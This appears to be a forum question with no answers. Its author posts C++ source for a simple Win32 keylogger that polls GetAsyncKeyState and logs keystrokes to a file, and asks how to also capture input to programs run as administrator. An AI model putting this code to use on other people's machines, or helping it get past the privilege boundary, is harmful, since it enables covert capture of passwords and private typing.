GetAsyncKeyState not working when typing on "Run as Administrator" application

98 Views Asked by At

I write a simple Win32 Keylogger application by C++ in Windows. like this text

I use GetAsyncKeyState to check key state and log that key to a file

char KEY = 'x';

while (true) {
    Sleep(10);
    for (int KEY = 8; KEY <= 190; KEY++)
    {
        if (GetAsyncKeyState(KEY) == -32767) {
            if (SpecialKeys(KEY) == false) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);
                if (LogFile.is_open()) {
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

I run my program with my user account. When I open notepad and start typing, It logs every key which I typed. But if I open notepad with "Run as Administrator" option, then nothing get logged.

How can I fix this?

0

There are 0 best solutions below